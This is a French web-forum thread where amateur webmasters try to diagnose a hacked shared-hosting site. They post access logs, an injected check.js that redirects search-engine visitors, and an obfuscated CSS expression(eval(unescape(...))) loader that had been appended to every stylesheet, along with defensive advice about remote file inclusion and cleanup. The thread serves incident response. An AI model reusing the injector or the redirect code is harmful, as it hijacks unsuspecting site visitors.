Jump to content

Virus détecté par Avast en allant sur mon propre site


Recommended Posts

Bonjour,

Votre opinion sur ce qui m'est arrivé?

Juste après avoir fait une mise à jour sur mon site avec FileZilla, je suis allé vérifier avec mon explorateur si tout allait bien: sage précaution.

Surprise: J'ai aussitôt été prévenu par Avast qu'un virus essayait de pénétrer mon ordinateur, et qu'il fallait cliquer sur sortir pour éviter d'être infecté.

Ce que j'ai fait. Apparemment, toutes les pages du site donnaient le même soucis.

5 minutes avant, c'est à dire avant la mise à jour, tout allait bien.

Me basant sur l'indication d'Avast, je suis allé voir avec FileZilla l'adresse indiquée sur mon site.

Et là, j'ai trouvé un répertoire ifax avec des fichiers dont check.js qui apparemment a provoqué le soucis.

Ce répertoire ifax, ce n'est pas moi qui l'ai transféré vers mon site, en tout cas pas volontairement. Il ne se trouve pas dans mes fichiers.

Evidemment, j'ai vite effacé ce répertoire ifax.

Ensuite, en retournant sur mon site avec l'explorateur, tout va bien de nouveau.

Voila. Qu'en pensez-vous?

Link to comment
Share on other sites

Attention... c'est probablement le signe d'un serveur qui s'est fait cracker !

Regarde dans tes formulaires s'ils sont tous protégés, et recherche dans les logs d'apache !

Dan

Link to comment
Share on other sites

A oui c'est exactement ce probleme la !

Alors en fouinant j'ai trouvé ca dans les logs !!

90.12.29.215 - - [04/Feb/2008:12:41:05 +0100] "GET /SoftBB/img/apevi/check.js HTTP/1.1" 200 1198 www.kartierwaste.fr "http://www.kartierwaste.fr/index.php?r=1&Largeur=800" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
90.12.29.215 - - [04/Feb/2008:12:41:05 +0100] "GET /images/titre.jpg HTTP/1.1" 200 84494 www.kartierwaste.fr "http://www.kartierwaste.fr/index.php?r=1&Largeur=800" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
90.12.29.215 - - [04/Feb/2008:12:41:05 +0100] "GET /SoftBB/img/apevi/dummy.htm?r=http%3A%2F%2Fimages.google.fr%2Fimgres%3Fimgurl%3Dhttp%3A%2F%2Fwww.kartierwaste.fr%2Fimages%2Ftitre.jpg%26imgrefurl%3Dhttp%3A%2F%2Fwww.kartierwaste.fr%2F%26h%3D185%26w%3D1200%26sz%3D83%26hl%3Dfr%26start%3D1%26um%3D1%26tbnid%3DAq7-kjvALB_q4M%3A%26tbnh%3D23%26tbnw%3D150%26prev%3D%2Fimages%253Fq%253DKARTIER%252BWASTE%2526um%253D1%2526hl%253Dfr&s=161266 HTTP/1.1" 200 658 www.kartierwaste.fr "http://images.google.fr/imgres?imgurl=http://www.kartierwaste.fr/images/titre.jpg&imgrefurl=http://www.kartierwaste.fr/&h=185&w=1200&sz=83&hl=fr&start=1&um=1&tbnid=Aq7-kjvALB_q4M:&tbnh=23&tbnw=150&prev=/images%3Fq%3DKARTIER%2BWASTE%26um%3D1%26hl%3Dfr" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
90.12.29.215 - - [04/Feb/2008:12:41:05 +0100] "GET /SoftBB/img/apevi/blog.htm HTTP/1.1" 200 37058 www.kartierwaste.fr "http://www.kartierwaste.fr/SoftBB/img/apevi/dummy.htm?r=http%3A%2F%2Fimages.google.fr%2Fimgres%3Fimgurl%3Dhttp%3A%2F%2Fwww.kartierwaste.fr%2Fimages%2Ftitre.jpg%26imgrefurl%3Dhttp%3A%2F%2Fwww.kartierwaste.fr%2F%26h%3D185%26w%3D1200%26sz%3D83%26hl%3Dfr%26start%3D1%26um%3D1%26tbnid%3DAq7-kjvALB_q4M%3A%26tbnh%3D23%26tbnw%3D150%26prev%3D%2Fimages%253Fq%253DKARTIER%252BWASTE%2526um%253D1%2526hl%253Dfr&s=161266" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
90.12.29.215 - - [04/Feb/2008:12:41:14 +0100] "GET / HTTP/1.1" 200 6500 www.kartierwaste.fr "http://images.google.fr/imgres?imgurl=http://www.kartierwaste.fr/images/titre.jpg&imgrefurl=http://www.kartierwaste.fr/&h=185&w=1200&sz=83&tbnid=Aq7-kjvALB_q4M:&tbnh=23&tbnw=150&hl=fr&um=1&prev=/images%3Fq%3DKARTIER%2BWASTE%26um%3D1%26hl%3Dfr&frame=small" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"

Ces lignes sont louches mais je comprend pa grand chose !!

et le code de check.js, toujours acompagné de dummy.htm et blog.htm, bah je l'ai pas sous la main car je viens de le supprimer, mais sans aucun doute dans 1h il est revenu

Edited by raphio000
Link to comment
Share on other sites

voila check.js :

if ( (Math.random()*60 < JSS1) && document.referrer.match(/^http:\/\/([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearc h|yandex|rambler|aport|mail|gogo|poisk|alltheweb|f ireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|cl ix|terravista|gratis-ting|suomi24)\./) && document.referrer.match(/[?&](q|query|qs|searchfor|search_for|w|p|r|key|keyword s|search_string|search_word|buscar|text|words|su|q t|rdata)\=/) && !document.referrer.match(/[?&](q|query|qs|searchfor|search_for|w|p|r|key|keyword s|search_string|search_word|buscar|text|words|su|q t|rdata)\=[^&]+(%3A|%22)/) ){
location.href=JSS3+'?r='+encodeURIComponent(docume nt.referrer)+'&s='+JSS2;
};

eet voila ce qu'on retrouve dans tous les .css et .js du site:

/* a0b4df006e02184c60dbf503e71c87ad */ body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F%63 %75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%4 2%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53% 53%31%20%3D%20%35%34%3B%20%4A%53%53%32%20%3D%20%31 %35%39%38%30%36%3B%20%4A%53%53%33%20%3D%20%27%2F%7 3%63%61%64%6D%69%6E%2F%63%6D%73%2F%69%6D%61%67%65% 73%2F%69%73%61%62%69%66%2F%64%75%6D%6D%79%2E%68%74 %6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%7 5%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65% 6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E %73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%6 3%27%2C%20%27%2F%73%63%61%64%6D%69%6E%2F%63%6D%73% 2F%69%6D%61%67%65%73%2F%69%73%61%62%69%66%2F%63%68 %65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%4 1%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27% 4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E %67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4 E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D% 28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A %73%29%20%7D%3B%20'))) } /* a995d2cc661fa72452472e9554b5520c */

Link to comment
Share on other sites

dans les logs Apache, fais une recherche de ce genre :

zgrep -i '%20or%20' access*

Dans le cas d'une injection SQL, c'est ce qu'on retrouve le plus souvent. Cela permettra de voir si le "hacker" est passé par là (je ne pense pas mais bon...)

Link to comment
Share on other sites

Bonjour,

J'ai le même problème,

Avast me détecte un virus Check.js dans un dossier du site, lorsque je supprime ce dossier il revient.

Moi c'est une page perso de free, je ne pense donc pas avoir accès au log d'Apache.

Je pense peut être que le hacker a utiliser les inclusions de fichier PHP du style index.php?page=mapage.php mais je n'en suis pas sur du tout.

Link to comment
Share on other sites

Un ptit indice en plus, j'e trouve toujours ca à la fin du code de mon site !!!

<!--
2function __RP_Callback_Helper(str, strCallbackEvent, splitSize, func){var event = null;if (strCallbackEvent){event = document.createEvent('Events');event.initEvent(strCallbackEvent, true, true);}if (str && str.length > 0){var splitList = str.split('|');var strCompare = str;if (splitList.length == splitSize)strCompare = splitList[splitSize-1];var pluginList = document.plugins;for (var count = 0; count < pluginList.length; count++){var sSrc = '';if (pluginList[count] && pluginList[count].src)sSrc = pluginList[count].src;if (strCompare.length >= sSrc.length){if (strCompare.indexOf(sSrc) != -1){func(str, count, pluginList, splitList);break;}}}}if (strCallbackEvent)document.body.dispatchEvent(event);}function __RP_Coord_Callback(str){var func = function(str, index, pluginList, splitList){pluginList[index].__RP_Coord_Callback = str;pluginList[index].__RP_Coord_Callback_Left = splitList[0];pluginList[index].__RP_Coord_Callback_Top = splitList[1];pluginList[index].__RP_Coord_Callback_Right = splitList[2];pluginList[index].__RP_Coord_Callback_Bottom = splitList[3];};__RP_Callback_Helper(str, 'rp-js-coord-callback', 5, func);}function __RP_Url_Callback(str){var func = function(str, index, pluginList, splitList){pluginList[index].__RP_Url_Callback = str;pluginList[index].__RP_Url_Callback_Vid = splitList[0];pluginList[index].__RP_Url_Callback_Parent = splitList[1];};__RP_Callback_Helper(str, 'rp-js-url-callback', 3, func);}function __RP_TotalBytes_Callback(str){var func = function(str, index, pluginList, splitList){pluginList[index].__RP_TotalBytes_Callback = str;pluginList[index].__RP_TotalBytes_Callback_Bytes = splitList[0];};__RP_Callback_Helper(str, null, 2, func);}function __RP_Connection_Callback(str){var func = function(str, index, pluginList, splitList){pluginList[index].__RP_Connection_Callback = str;pluginList[index].__RP_Connection_Callback_Url = splitList[0];};__RP_Callback_Helper(str, null, 2, func);}
3//-->
</script>

Qu'est ce que c'est qu ça ??

Link to comment
Share on other sites

Quand je fait un URLDecode de ton Css je trouve ça :

body { margin-top: expression(eval(unescape('if (!doc ument.getElement%4 2yId('JSSS')){ JS% 531 = 54; JSS2 = 1 59806; JSS3 = '/%7 3cadmin/cms/image% 73/isabif/dummy.ht m'; var js = doc%7 5ment.createEleme% 6Et('script'); js. setAttribute('sr%6 3', '/scadmin/cms% 2Fimages/isabif/ch eck.js'); js.set%4 1ttribute('id', '% 4ASSS'); document. getElementsByTag%4 Eame('head').item% 280).appendChild(j s) }; '))) }

Je voudrais bien savoir ce qu'il y as dans la page "isabif/dummy.htm" ;)

Link to comment
Share on other sites

Malheureusement, je ne peux pas te le dire pour l'instant puisque j'ai viré ces fichiers.

Mais sans nul doute, ils reviendront dans quelques heures !!

Je sais pas quoi faire !

Tu as un antivirus sur ton serveur ou un anti-rootkit ?

Tu atttend voir si les fichiers reviennent et s'il revienne tu nous montre le source des pages bizarres...

Essaye de voir si tu ne trouve pas sur ton serveur des fichiers php qui ne sont pas les tiens ou qui on une taille assez importante...

Link to comment
Share on other sites

c'est un serveur mutualisé donc je n'ai pas la main sur un antivirus...

Je vous enverrais les sources des qu'ils reviennent !!

Tous les ficheirs php sur le serveur sont les miens.

J'ai un autre probleme qui est surement en relation :

Depuis le début de ce probleme, j'ai un probleme de header

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /homepages/38/d213986949/htdocs/index.php:1) in /homepages/38/d213986949/htdocs/entetehtml.php on line 2

Alors que ma page index.php commencent ainsi

<?php
include("entetehtml.php");
//panneau de gauche
echo'<div class="floatLeft">';

et ma page entetehtml.php ainsi :

<?php
session_start();
require_once('fonctions.php');

ce qui logiquement est correct

mais il gueule comme si j'avais laissé un blanc devant ma session ou mon header !

J'en ai trop marre :mad2:

Link to comment
Share on other sites

Alors on dirait que raphio000 a les mêmes soucis que moi.

Ce que vous avez bien deviné, c'est que ça recommencerait.

J'ai de nouveau effacé le répertoire-qui-gêne.

Je n'ose pas transférer ce répertoire ifax sur mon PC. Quand on voit le diable, on hésite à lui serrer la main...

Par contre, j'ai repéré 2 fichier .php dans d'autre répertoires (je fais l'inventaire)

Ces fichiers, je les ai chargés et j'ai changé l'extension en .txt pour voir, mais, bien sûr, on ne voit rien.

Edited by yack45
Link to comment
Share on other sites

En me basant sur ce que dit raphio000, j'ai regardé de près les .css, et j'ai remarqué qu'ils sont plus volumineux qu'à l'origine. Donc je les ai rechargés.

J'ai aussi détecté d'autres fichiers .php que j'ai détruits.

D'autre part, j'ai alerté mon hébergeur, qui n'a rien trouvé d'anormal de son côté. Il me conseille lui aussi de partir en chasse de la faille de sécurité chez moi.

J'en profite pour me présenter:

J'ai bientôt 63 ans, j'ai créé mon premier site à 59 ans quand je me suis retrouvé au chômage (j'étais électronicien). L'idée était de faire un site de photos, ce que j'ai fait.

Puis je me suis intéressé aux techniques du web pour en venir à d'autres sites dont un qui comporte un forum phpBB2 et toutes les pages en php. C'est sur ce site qu'il y a des soucis. Je suis donc devenu un "webmaster amateur" alors que je voulais devenir "photographe amateur".

C'est seulement ce matin que j'ai découvert votre forum qui me plaît bien, car je le trouve nettement plus "pro" que ceux que j'ai eu l'occasion de voir jusqu'à maintenant.

Concernant cette faille de sécurité, si j'ai bien compris, il faut chercher les formulaires non protégés: Si quelqu'un pouvait me lancer sur la bonne piste, ce serait bien.

Dans les fichiers .php, je ne vois rien! C'est page blanche.

C'est comme dans les .css qui ont augmenté de taille: je ne vois rien de plus que mon code, sauf des tas de lignes blanches en bas de page. (avec l'éditeur php)

Et encore une chose pas sympa: je viens de découvrir un .htaccess à la racine de mon site!

Edited by yack45
Link to comment
Share on other sites

Si les visiteurs ne peuvent télécharger de fichier directement sur ton site, et toi non plus via php, le mieux à faire est d'effacer tous les répertoires et fichiers distants, de changer le mot de passe ftp et d'uploader la totalité des scripts.

Personnellement je downloaderais les fichiers distants pour comparer avec ceux en local sur ton pc, ça permettra de voir ceux qui ont été ajoutés ou modifiés

En attendant de connaitre l'origine de la faille, désactiver les formulaires de saisies et autres moyens d'interaction.

Vérifie aussi la bdd mysql, on ne sait jamais

Link to comment
Share on other sites

Ce que j'aimerais faire, c'est traiter l'origine de la faille:

J'ai fait l'inventaire de ce qui pourrait être à l'origine d'un faille.

Donc j'ai des questions car je ne comprends pas bien les méthodes des attaques.

1) J'ai lu partout que les GET ont mauvaise réputation. Je les utilise pour appeler des pages. Si le numéro est détourné, une page de même nom mais au numéro différent sera appelée et je ne vois pas quel problème ça occasionne. Quelqu'un pourrait-il m'expliquer?

Je viens d'ajouter des htmlentities là où ça craignait, ça ne peut pas faire de mal. Peut-être que c'était le problème.

2) J'ai un traitement de cookie. Est-ce que ça peut venir de là?

3) J'ai un forum phpBB2 que j'ai mis à jour hier avec la dernière version sortie la semaine dernière. Est ce que ça peut venir de là?

4) J'ai un soucis d'un autre ordre: si je vous donne le nom du site, ce qui serait utile, mes clients vont vite se sauver en croyant qu'il peuvent prendre un virus, car une recherche sur Google aurait tôt fait de leur révéler le problème. Comment faut-il faire?

Merci.

Edited by yack45
Link to comment
Share on other sites

ce qui pose problème avec les get, c'est des url du genre www.example.com/index.php?page=http://www.example.com/monscript.php

si page ne prend que des valeurs prédéfinies sur ton serveur local,

ensuite, autre possibilité : les upload d'image ou autres fichiers qui pourraient, en fait, contenir des scripts si tu ne les vérifies pas. J'upload une photo (en fait un script php ou perl ou cgi) tes scripts copient mon fichier dans un répertoire accessible en http directement et je peux ensuite le faire exécuter

Link to comment
Share on other sites

Merci pour ta réponse claire.

J'ai soigneusement évité les uploads de photos.

Ce que j'ai c'est ça:

mapage.php?id=401

ou ça:

autrepage.php#05

Donc, comme il faut bien que ça soit passé par quelque part, je vais chercher ailleurs. Peut-être par le forum phpBB?

Il y a 3 mois, j'ai eu un message en anglais qui me disait en gros: si tu effaces mon post, je détruirais tout ton site

Bien sûr, j'ai effacé et serré les dents pendant quelques jours. Il a mis le temps!

Link to comment
Share on other sites

je n'avais pas tout lu avant de répondre au MP.

1) la dernière version de phpbb a-t-elle été récupérée sur le site officiel ?

2) tous les scripts d'installation et/ou de màj ont-ils été supprimés après l'install ?

3) n'y a-t-il pas des protections à mettre sur certains répertoires ?

4) les passwords ne sont-ils pas trop évidents à trouver ?

Link to comment
Share on other sites

Merci pour tes interventions.

Concernant phpBB, j'ai fait tout ce qu'il faut faire, et que tu listes.

La seule chose que je puisse me reprocher, c'est d'avoir fait la mise à jour une semaine après sa sortie au lieu de la faire tout de suite.

Selon leur date, les fichiers php ajoutés à mon site ont été introduits la veille de cette mise à jour, et l'effet de l'attaque s'est révélé 3 jours après.

Edited by yack45
Link to comment
Share on other sites

et ça correspond bien au type d'attaque que la màj permettait d'éviter ?

Si oui, maintenant que tu sais d'où ça vient, purge complète du site sur le serveur et re upload des sources

Link to comment
Share on other sites

Il y a une liste de modif correspondantes à cette mise à jour (2.0.23):

[Fix] Correctly re-assign group moderator on user deletion (Bug #280)

[Fix] Deleting a forum with multiple polls included (Bug #6740)

[Fix] Fixed postgresql query for obtaining group moderator in groupcp.php (Bug #6550)

[Fix] Selected field on first entry by default for font size within posting_body.tpl (Bug #7124)

[Fix] Adjusted maxlength parameters in admin/styles_edit_body.tpl (Bug #81)

[Fix] Fixed html output in make_forum_select if no forums present (Bug #436)

[Fix] Fixed spelling error(s) in lang_admin.php (Bug #7172, #6978)

[Fix] Correctly display censored words in admin panel (Bug #12271)

[Fix] Do not allow soft hyphen \xAD in usernames (reported by Bander00)

[Fix] Fixed the group permission system's use of array access

[Fix] Simple group permissions now work properly

[Fix] Fix inability to export smilies (Bug #2265)

[Fix] Fixing some problems with PHP5 and register_long_arrays off

[sec] Fix possible XSRF Vulnerability in private messaging and groups handling

La dernière correspond bien à un problème de vulnérabilité, mais on n'a pas plus de détails.

Donc je ne suis pas du tout certain que le problème soit venu de là. Je vais me renseigner dans leur forum.

Link to comment
Share on other sites

et ça correspond bien au type d'attaque que la màj permettait d'éviter ?

Si oui, maintenant que tu sais d'où ça vient, purge complète du site sur le serveur et re upload des sources

La derniere version de phpbb est assez light. Il s'agit surtout de fix.

Il y a une correction de securité qui supprime la possibilité de supprimer tous les messages privés d'un membre en envoyant un message privé contenant un code si on clique sur un lien. J'ecarterais cette faille comme cause de ton probleme.

Link to comment
Share on other sites

Please sign in to comment

You will be able to leave a comment after signing in



Sign In Now
×
×
  • Create New...